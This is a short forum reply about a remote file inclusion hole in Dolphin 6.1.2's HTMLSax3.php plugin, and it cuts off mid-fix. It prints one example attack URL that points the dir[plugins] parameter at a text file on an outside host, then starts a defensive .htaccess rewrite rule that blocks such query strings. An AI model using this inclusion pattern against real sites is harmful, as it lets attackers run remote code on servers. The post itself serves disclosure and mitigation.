In reply to Securtiy Problem at Dolphin 6.1.2 ?!
Below is the legacy version of the Boonex site, maintained for Dolphin.Pro 7.x support.
The new Dolphin solution is powered by UNA Community Management System.
The new Dolphin solution is powered by UNA Community Management System.
Is allow_url_fopen = on (dolphin need this) than u can include everything, because HTMLSax3.php doesn´t check this
it seems like this:
http://domain.com/plugins/safehtml/HTMLSax3.php?dir[plugins]=http://somehackdomain.cz/upload/skins/max.txt?
On the german dolphin forum i found this to make a FIRST fix:
create a .htaccess in /plugins/safehtml/
RewriteEngine On
RewriteCond %{QUERY_STRING} (.*)=http(.*) [NC,OR]
RewriteCond %{QUERY_STRING} (.*)urlx=(.*) [NC]
RewriteRule see more